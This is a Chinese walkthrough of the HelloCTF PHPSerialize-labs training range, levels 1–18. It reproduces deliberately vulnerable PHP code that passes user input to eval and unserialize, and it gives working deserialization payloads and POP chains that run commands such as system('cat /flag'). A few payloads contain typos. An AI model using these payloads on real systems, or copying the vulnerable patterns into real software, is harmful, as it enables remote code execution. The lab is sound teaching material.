前言
使用phpstudy本地部署,参考ProbiusOfficial/PHPSerialize-labs: 【Hello-CTF labs】PHPSerialize-labs是一个使用php语言编写的,用于学习CTF中PHP反序列化的入门靶场。旨在帮助大家对PHP的序列化和反序列化有一个全面的了解。
Level1
f<?php
/*
--- HelloCTF - 反序列化靶场 关卡 1 : 类的实例化 ---
HINT:尝实例化下面的FLAG类吧!
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class FLAG{
public $flag_string = "HelloCTF{????}";
function __construct(){
echo $this->flag_string;
}
}
$code = $_POST['code'];
eval($code);
function __construct()当创建一个对象是自动调用,因此post传入new FLAG()即可
code=new FLAG();
Level2
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 2 : 类值的传递 ---
HINT:尝试将flag传递出来~
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
error_reporting(0);
$flag_string = "HelloCTF{????}";
class FLAG{
public $free_flag = "???";
function get_free_flag(){
echo $this->free_flag;
}
}
$target = new FLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
$target->get_free_flag();
}
else{
highlight_file('source');
}
Now Flag is ???
代码定义FLAG类,$free_flag
属性默认值是???创建了一个对象,由于flag_string中储存着flag,就许吧这个值赋值给target的free_flag,在调用方法输出即可
code=target-\>free_flag=flag_string;
Level3
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 3 : 对象中值的权限 ---
HINT:尝试将flag传递出来~
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class FLAG{
public $public_flag = "HelloCTF{?";
protected $protected_flag = "?";
private $private_flag = "?}";
function get_protected_flag(){
return $this->protected_flag;
}
function get_private_flag(){
return $this->private_flag;
}
}
class SubFLAG extends FLAG{
function show_protected_flag(){
return $this->protected_flag;
}
function show_private_flag(){
return $this->private_flag;
}
}
$target = new FLAG();
$sub_target = new SubFLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
echo "Trying to get FLAG...<br>";
echo "Public Flag: ".$target->public_flag."<br>";
echo "Protected Flag:".$target->protected_flag ."<br>";
echo "Private Flag:".$target->private_flag ."<br>";
}
?>
这一题主要考察php修饰符public protected,private的访问权限
public:
- 公共成员可以在任何地方被访问。
- 没有访问限制。
protected:
- 受保护成员只能在类本身和其子类中被访问。
- 不能在类外部直接访问,但可以在继承该类的子类中访问。
private:
- 私有成员只能在定义它们的类内部被访问。
- 不能在类的外部或子类中访问。
需要调用定义的方法输出另外两段flag
code=echo target-\>public_flag . target->get_protected_flag() . $target->get_private_flag();
或者
code=echo $target->public_flag.$sub_target->show_protected_flag().$target->get_private_flag();f
Level4
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 4 : 序列化 ---
HINT:嗯!?全是私有,怎么获取flag呢?试试序列化!
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class FLAG3{
private $flag3_object_array = array("?","?");
}
class FLAG{
private $flag1_string = "?";
private $flag2_number = '?';
private $flag3_object;
function __construct() {
$this->flag3_object = new FLAG3();
}
}
$flag_is_here = new FLAG();
$code = $_POST['code'];
if(isset($code)){
eval($code);
} else {
highlight_file(__FILE__);
}
这段代码涉及到类的嵌套,说明一下
class FLAG3{
private $flag3_object_array = array("?","?");
}
class FLAG{
private $flag1_string = "?";
private $flag2_number = '?';
private $flag3_object;
function __construct() {
$this->flag3_object = new FLAG3();
}
}
首先是FALG3类有一个私有属性,值是一个数组,然后是FLAG类,属性一个是字符串,一个是数字,最后一个是对象类型。专门用于存储 FLAG3类的实例.当FLAG类被实例化后会调用_construct()方法,flag_object就储存着FLAG3的实例,最后的结构大致是
$flag_is_here = {
flag1_string: "某个值", // FLAG类的私有属性
flag2_number: "某个值", // FLAG类的私有属性
flag3_object: { // 存储的是 FLAG3 类的实例(对象)
flag3_object_array: ["值1", "值2"] // FLAG3类的私有属性
}
}
PHP 的 serialize()
函数在序列化对象时,会将对象的所有属性(包括私有属性) 转换为字符串,从而可以从中提取私有属性的值。
code=echo serialize($flag_is_here);
O:4:"FLAG":3:{s:18:"FLAGflag1_string";s:8:"ser4l1ze";s:18:"FLAGflag2_number";i:2;s:18:"FLAGflag3_object";O:5:"FLAG3":1:{s:25:"FLAG3flag3_object_array";a:2:{i:0;s:3:"se3";i:1;s:2:"me";}}}
完整的flag
HelloCTF{ser4l1ze2se3me}
Level5
Warning: Use of undefined constant b - assumed 'b' (this will throw an Error in a future version of PHP) in D:\phpstudy_pro\WWW\PHPSerialize-labs-main\Level5\index.php on line 19
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 5 : 序列化规则 ---
HINT:各有千秋~
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class a_class{
public $a_value = "HelloCTF";
}
$a_object = new a_class();
$a_array = array(a=>"Hello",b=>"CTF");
$a_string = "HelloCTF";
$a_number = 678470;
$a_boolean = true;
$a_null = null;
See How to serialize:
a_object: O:7:"a_class":1:{s:7:"a_value";s:8:"HelloCTF";}
a_array: a:2:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";}
a_string: s:8:"HelloCTF";
a_number: i:678470;
a_boolean: b:1;
a_null: N;
Now your turn!
<?php
$your_object = unserialize($_POST['o']);
$your_array = unserialize($_POST['a']);
$your_string = unserialize($_POST['s']);
$your_number = unserialize($_POST['i']);
$your_boolean = unserialize($_POST['b']);
$your_NULL = unserialize($_POST['n']);
if(
$your_boolean &&
$your_NULL == null &&
$your_string == "IWANT" &&
$your_number == 1 &&
$your_object->a_value == "FLAG" &&
$your_array['a'] == "Plz" && $your_array['b'] == "Give_M3"
){
echo $flag;
}
else{
echo "You really know how to serialize?";
}
通过反序列化函数把传入的字符串还原成数据类型,满足要求才会输出flag,根据题目提示,构造payload
o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&s=s:5:"IWANT";&i=i:1;&b=b:1;&n=N;
Level6
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 6 : 序列化规则_权限修饰 ---
HINT:各有千秋~特别注意的权限修饰符x
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class protectedKEY{
protected $protected_key;
function get_key(){
return $this->protected_key;
}
}
class privateKEY{
private $private_key;
function get_key(){
return $this->private_key;
}
}
See Carfully~
protected's serialize: O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3BN%3B%7D
private's serialize: O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3BN%3B%7D
<?php
$protected_key = unserialize($_POST['protected_key']);
$private_key = unserialize($_POST['private_key']);
if(isset($protected_key)&&isset($private_key)){
if($protected_key->get_key() == "protected_key" && $private_key->get_key() == "private_key"){
echo $flag;
} else {
echo "We Call it %00_Contr0l_Characters_NULL!";
}
} else {
highlight_file(__FILE__);
}
protected
属性的序列化结果包含 \0*\0
(空字符 + *
+ 空字符)
private
属性的序列化结果包含 \0类名\0
(空字符 + 类名 + 空字符)
这些空字符(\0
)在 URL 或 HTTP 请求中是不允许直接出现的,会导致数据传输错误或被截断。所以要url编码,手动构造较为麻烦,直接用脚本。官方的脚本比较简洁
<?php
class protectedKEY{
protected $protected_key = "protected_key";
}
class privateKEY{
private $private_key = "private_key";
}
$exp = "protected_key=".urlencode(serialize(new protectedKEY))."&private_key=".urlencode(serialize(new privateKEY));
echo $exp;
protected_key=O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D&private_key=O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D
Level7
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 7 : 实例化和反序列化 ---
HINT:可控的输入 简单的漏洞演示 / FLAG in flag.php
# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class FLAG{
public $flag_command = "echo 'Hello CTF!<br>';";
function backdoor(){
eval($this->flag_command);
}
}
$unserialize_string = 'O:4:"FLAG":1:{s:12:"flag_command";s:24:"echo 'Hello World!<br>';";}';
$Instantiate_object = new FLAG(); // 实例化的对象
$Unserialize_object = unserialize($unserialize_string); // 反序列化的对象
$Instantiate_object->backdoor();
$Unserialize_object->backdoor();
'$Instantiate_object->backdoor()' will output:Hello CTF!
'$Unserialize_object->backdoor()' will output:Hello World!
Warning: Use of undefined constant source - assumed 'source' (this will throw an Error in a future version of PHP) in D:\phpstudy_pro\WWW\PHPSerialize-labs-main\Level7\index.php on line 49
<?php /* Now Your Turn */
unserialize($_POST['o'])->backdoor();
通过参数o反序列化一个对象,再调用backdoor方法进行命令执行,根据题目给出的示例修改即可
O:4:"FLAG":1:{s:12:"flag_command";s:23:"system('cat flag.php');";}
url编码
O%3A4%3A%22FLAG%22%3A1%3A%7Bs%3A12%3A%22flag_command%22%3Bs%3A23%3A%22system%28%27cat%20flag.php%27%29%3B%22%3B%7D
level8
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 8 : 构造函数和析构函数 ---
HINT:注意顺序和次数
# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
global $destruct_flag;
global $construct_flag;
$destruct_flag = 0;
$construct_flag = 0;
class FLAG {
public $class_name;
public function __construct($class_name)
{
$this->class_name = $class_name;
global $construct_flag;
$construct_flag++;
echo "Constructor called " . $construct_flag . "<br>";
}
public function __destruct()
{
global $destruct_flag;
$destruct_flag++;
echo "Destructor called " . $destruct_flag . "<br>";
}
}
/*Object created*/
$demo = new FLAG('demo');
/*Object serialized*/
$s = serialize($demo);
/*Object unserialized*/
$n = unserialize($s);
/*unserialized object destroyed*/
unset($n);
/*original object destroyed*/
unset($demo);
/*注意 此处为了方便演示为手动释放,一般情况下,当脚本运行完毕后,php会将未显式销毁的对象自动销毁,该行为也会调用析构函数*/
/*此外 还有比较特殊的情况: PHP的GC(垃圾回收机制)会在脚本运行时自动管理内存,销毁不被引用的对象:*/
new FLAG();
Object created:Constructor called 1
Object serialized: But Nothing Happen(:
Object unserialized:But nothing happened either):
serialized Object destroyed:Destructor called 1
original Object destroyed:Destructor called 2
This object ('new FLAG();') will be destroyed immediately because it is not assigned to any variable:Constructor called 2
Destructor called 3
Now Your Turn!, Try to get the flag!
Warning: Use of undefined constant source - assumed 'source' (this will throw an Error in a future version of PHP) in D:\phpstudy_pro\WWW\PHPSerialize-labs-main\Level8\index.php on line 60
<?php
class RELFLAG {
public function __construct()
{
global $flag;
$flag = 0;
$flag++;
echo "Constructor called " . $flag . "<br>";
}
public function __destruct()
{
global $flag;
$flag++;
echo "Destructor called " . $flag . "<br>";
}
}
function check(){
global $flag;
if($flag > 5){
echo "HelloCTF{???}";
}else{
echo "Check Detected flag is ". $flag;
}
}
if (isset($_POST['code'])) {
eval($_POST['code']);
check();
}
这个知识点之前没见过啊,参考官方wp解释:
考察 构造函数 (__construct()
) 和 析构函数 (__destruct()
) ,并且引入了一些 PHP垃圾回收机制的知识点 ------ 请注意,GC机制和析构函数息息相关。
构造函数只会在类实例化的时候 ------ 也就是使用 new 的方法手动创建对象的时候才会触发,而通过反序列化创建的对象不会触发这一方法,这也是为什么,在前面的内容,我将反序列化的对象创建过程称作为 "还原"。
析构函数会在对象被回收的时候触发 ------ 手动回收和自动回收。
手动回收:就是代码中演示的 unset 方法用于释放对象。
自动回收:对象没有值引用指向,或者脚本结束完全释放,具体看题目中的演示结合该部分文字应该不难理解。
题目要求 全局变量 标识符flag的值大于5,根据 __destruct() 和 PHP GC 的特性,我们可以不断地去序列化和反序列化一个对象,然后不给该对象具体的引用以触发自动销毁机制。
payload:
code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));
Level9
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 9 : 构造函数的后门 ---
HINT:似曾相识
# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class FLAG {
var $flag_command = "echo 'HelloCTF';";
public function __destruct()
{
eval ($this->flag_command);
}
}
unserialize($_POST['o']);
跟第七题很像啊,这里是当对象被销毁时自动调用然后就可以命令执行,只要传入序列化后的字符传,脚本结束后会自动调用函数,官方exp
<?php
class FLAG {
var $flag_command = "system('cat /flag');";
}
$exp = "o=".urlencode(serialize(new FLAG()));
echo $exp;
?>
Level10
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 10 : weakup! ---
unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。
除开构造和析构函数,这应该是你第一个真正意义上开始接触的魔术方法,此后每一个魔术方法对应的题目我都会在这里介绍。
当然你也可以直接查阅PHP官网文档 - 魔术方法部分:https://www.php.net/manual/zh/language.oop5.magic.php
# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
error_reporting(0);
class FLAG{
function __wakeup() {
include 'flag.php';
echo $flag;
}
}
if(isset($_POST['o']))
{
unserialize($_POST['o']);
}else {
highlight_file(__FILE__);
}
?>
当执行unserialize()时自动调用_wakeup,然后输出flag
<?php
class FLAG{
function __wakeup() {
include 'flag.php';
echo $flag;
}
}
echo serialize(new FLAG());
?>
O:4:"FLAG":0:{}
还有常见的考法是当序列化字符串中声明的属性数量大于实际实际类中定义的属性数量多时,__wakeup()
方法会被跳过。
Level11
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 11 : Bypass weakup! ---
CVE-2016-7124 - PHP5 < 5.6.25 / PHP7 < 7.0.10
在该漏洞中,当序列化字符串中对象属性的值大于真实属性值时便会跳过__wakeup的执行。
# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
error_reporting(0);
include 'flag.php';
class FLAG {
public $flag = "FAKEFLAG";
public function __wakeup(){
global $flag;
$flag = NULL;
}
public function __destruct(){
global $flag;
if ($flag !== NULL) {
echo $flag;
}else
{
echo "sorry,flag is gone!";
}
}
}
if(isset($_POST['o']))
{
unserialize($_POST['o']);
}else {
highlight_file(__FILE__);
phpinfo();
}
?>
上面已经提到了,
<?php
class FLAG{
public $flag = "FAKEFLAG";
}
echo serialize(new FLAG());
?>
O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}
Level12
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 12 : sleep! ---
年轻就是好啊,倒头就睡。
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。
该方法必须返回一个数组: return array('属性1', '属性2', '属性3') / return ['属性1', '属性2', '属性3']。
数组中的属性名将决定哪些变量将被序列化,当属性被 static 修饰时,无论有无都无法序列化该属性。
如果需要返回父类中的私有属性,需要使用序列化中的特殊格式 - %00父类名称%00变量名 (%00 是 ASCII 值为 0 的空字符 null,在代码内我们也可以通过 "\0" - 注意在双引号中,PHP 才会解析转义字符和变量。)。
例如,父类 FLAG 的私有属性 private $f; 应该在子类的 __sleep() 方法中以 "\0FLAG\0f" 的格式返回。
如果该方法未返回任何内容,序列化会被制空,并产生一个 E_NOTICE 级别的错误。
# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class FLAG {
private $f;
private $l;
protected $a;
public $g;
public $x,$y,$z;
public function __sleep() {
return ['x','y','z'];
}
}
class CHALLENGE extends FLAG {
public $h,$e,$l,$I,$o,$c,$t,$f;
function chance() {
return $_GET['chance'];
}
public function __sleep() {
/* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */
$array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];
$_=array_rand($array_list);$__=array_rand($array_list);
return array($array_list[$_],$array_list[$__],$this->chance());
}
}
$FLAG = new FLAG();
echo serialize($FLAG);
echo serialize(new CHALLENGE());
If you serialize FLAG, you will just get x,y,z
O:4:"FLAG":3:{s:1:"x";N;s:1:"y";N;s:1:"z";N;}
------ 每次请求会随机返回两个属性,你也可以用 chance 来指定你想要的属性 ------
Now __sleep()'s return parameters is array('l','o','you shuold use it')
O:9:"CHALLENGE":3:{s:1:"l";s:17:"__sleep_function_";s:1:"o";s:7:"called_";s:17:"you shuold use it";N;}
当对象被序列化时,__sleep()
会优先执行,其返回的数组指定了哪些属性会被包含在序列化结果中 。因此,只有让目标属性出现在__sleep()
的返回数组中,才能通过序列化获取它们的值
题目规定了目标属性列表而且题目题目给出了提示
FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g
依次get传参就可以拼接完整的flag
Level13
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 13 __toString() ---
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class FLAG {
function __toString() {
echo "I'm a string ~~~";
include 'flag.php';
return $flag;
}
}
$obj = new FLAG();
if(isset($_POST['o'])) {
eval($_POST['o']);
} else {
highlight_file(__FILE__);
}
当一个对象被当作一个字符串被调用。(echo 一个对象时,PHP会尝试将其转为字符串如果类定义了 __toString,就会调用该方法这是对象到字符串的自动转换机制)
调用后就会输出flag
o=echo $obj;
Level14
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 14 : __invoke() ---
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。例如 $obj()。
# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class FLAG{
function __invoke($x) {
if ($x == 'get_flag') {
include 'flag.php';
echo $flag;
}
}
}
$obj = new FLAG();
if(isset($_POST['o'])) {
eval($_POST['o']);
} else {
highlight_file(__FILE__);
}
__invoke(x)的触发条件:将FLAG类的对象当作函数调用(如obj('参数'))。
触发后,若传入的参数$x等于'get_flag',则会输出 flag。
o=$obj('get_flag');就可以获得flag
Level15
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 15 : POP链初步 ---
世界的本质其实就是套娃(x
# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
/* FLAG in flag.php */
class A {
public $a;
public function __construct($a) {
$this->a = $a;
}
}
class B {
public $b;
public function __construct($b) {
$this->b = $b;
}
}
class C {
public $c;
public function __construct($c) {
$this->c = $c;
}
}
class D {
public $d;
public function __construct($d) {
$this->d = $d;
}
public function __wakeUp() {
$this->d->action();
}
}
class destnation {
var $cmd;
public function __construct($cmd) {
$this->cmd = $cmd;
}
public function action(){
eval($this->cmd->a->b->c);
}
}
if(isset($_POST['o'])) {
unserialize($_POST['o']);
} else {
highlight_file(__FILE__);
}
最怕看到这种一个套一个,不过一般简单的直接让ai分析一下就能给出答案。首先当post参数传入后,会执行unserialize,然后有自动执行__wakeup(),
$this->d->action();
会调用action()函数,这里又用到上面说到的对象嵌套 ,一个类属性的值是另一个类的实例,$d
是destnation
对象 ,同理$cmd是a的对象,a是b的对象,b是c的对象。
<?php
class A {
public $a;
public function __construct($a) {
$this->a = $a;
}
}
class B {
public $b;
public function __construct($b) {
$this->b = $b;
}
}
class C {
public $c;
public function __construct($c) {
$this->c = $c;
}
}
class D {
public $d;
public function __construct($d) {
$this->d = $d;
}
public function __wakeUp() {
$this->d->action();
}
}
class destnation {
var $cmd;
public function __construct($cmd) {
$this->cmd = $cmd;
}
public function action(){
eval($this->cmd->a->b->c);
}
}
$c = new C("system('cat /flag');");
$b = new B($c);
$a = new A($b);
$des = new destnation($a);
$d = new D($des);
echo serialize($d);
?>
O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:20:"system('cat /flag');";}}}}}
Level16
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 16 : zePOP---
__wakeUp() 方法用于反序列化时自动调用。例如 unserialize()。
__invoke() 方法用于一个对象被当成函数时应该如何回应。例如 $obj() 应该显示些什么。
__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
试着把他们串起来吧ww
# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class A {
public $a;
public function __invoke() {
include $this->a;
return $flag;
}
}
class B {
public $b;
public function __toString() {
$f = $this->b;
return $f();
}
}
class INIT {
public $name;
public function __wakeUp() {
echo $this->name.' is awake!';
}
}
if(isset($_POST['o'])) {
unserialize($_POST['o']);
} else {
highlight_file(__FILE__);
}
还是链子,
INIT::__wakeup() → B::__toString() → A::__invoke() → 包含flag.php并返回flag
<?php
// 1. 创建A对象,$a属性设为'flag.php'
$a = new A();
$a->a = 'flag.php';
// 2. 创建B对象,$b属性指向A对象
$b = new B();
$b->b = $a;
// 3. 创建INIT对象,$name属性指向B对象
$init = new INIT();
$init->name = $b;
// 序列化INIT对象,得到提交的payload
echo serialize($init);
?>
Level17
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 17 : 字符串逃逸基础 ---
序列化和反序列化的规则特性_无中生有:当成员属性的实际数量符合序列化字符串中对应属性值时,似乎不会做任何检查?
# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
class A {
}
echo "Class A is NULL: '".serialize(new A())."'<br>";
class B {
public $a = "Hello";
protected $b = "CTF";
private $c = "FLAG{TEST}";
}
echo "Class B is a class with 3 properties: '".serialize(new B())."'<br>";
$serliseString = serialize(new B());
$serliseString = str_replace('B', 'A', $serliseString);
echo "After replace B with A,we unserialize it and dump :<br>";
var_dump(unserialize($serliseString));
if(isset($_POST['o'])) {
$a = unserialize($_POST['o']);
if ($a instanceof A && $a->helloctfcmd == "get_flag") {
include 'flag.php';
echo $flag;
} else {
echo "what's rule?";
}
} else {
highlight_file(__FILE__);
}
A
类是空类,但反序列化时会根据序列化字符串动态添加属性(即使类本身未定义)
所以直接构造就行
O:1:"A":1:{s:12:"helloctfcmd";s:8:"get_flag";}
Level18
<?php
/*
--- HelloCTF - 反序列化靶场 关卡 18 : 字符串逃逸基础 ---
序列化和反序列化的规则特性,字符串尾部判定:进行反序列化时,当成员属性的数量,名称长度,内容长度均一致时,程序会以 ";}" 作为字符串的结尾判定。
# -*- coding: utf-8 -*-
# @Author: 探姬(@ProbiusOfficial)
# @Date: 2024-07-01 20:30
# @Repo: github.com/ProbiusOfficial/PHPSerialize-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
*/
highlight_file(__FILE__);
class Demo {
public $a = "Hello";
public $b = "CTF";
public $key = 'GET_FLAG";}FAKE_FLAG';
}
class FLAG {
}
$serliseStringDemo = serialize(new Demo());
$target = $_GET['target'];
$change = $_GET['change'];
$serliseStringFLAG = str_replace($target, $change, $serliseStringDemo);
$FLAG = unserialize($serliseStringFLAG);
if ($FLAG instanceof FLAG && $FLAG->key == 'GET_FLAG') {
echo $flag;
}
这一题主要还是替换,这里用到str_replace函数,简单说str_replace(a,b,c),把c中的a部分替换成b,
O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}
我们要修改Demo类,变为FALG类,并且属性key长度为8
要替换的部分
"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:
替换为
"FALG":1:{s:3:"key";s:8:
替换完后为
O:4:"FALG":1:{s:3:"key";s:8:"GET_FLAG";}FAKE_FLAG";}
到第一个;}已经被识别结尾,FAKE_FLAG";}这一部分会被忽略掉。综上最后payload
?target="Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:&change="FLAG":1:{s:3:"key";s:8:
?target=%22Demo%22%3A3%3A%7Bs%3A1%3A%22a%22%3Bs%3A5%3A%22Hello%22%3Bs%3A1%3A%22b%22%3Bs%3A3%3A%22CTF%22%3Bs%3A3%3A%22key%22%3Bs%3A20%3A&change=%22FLAG%22%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A8%3A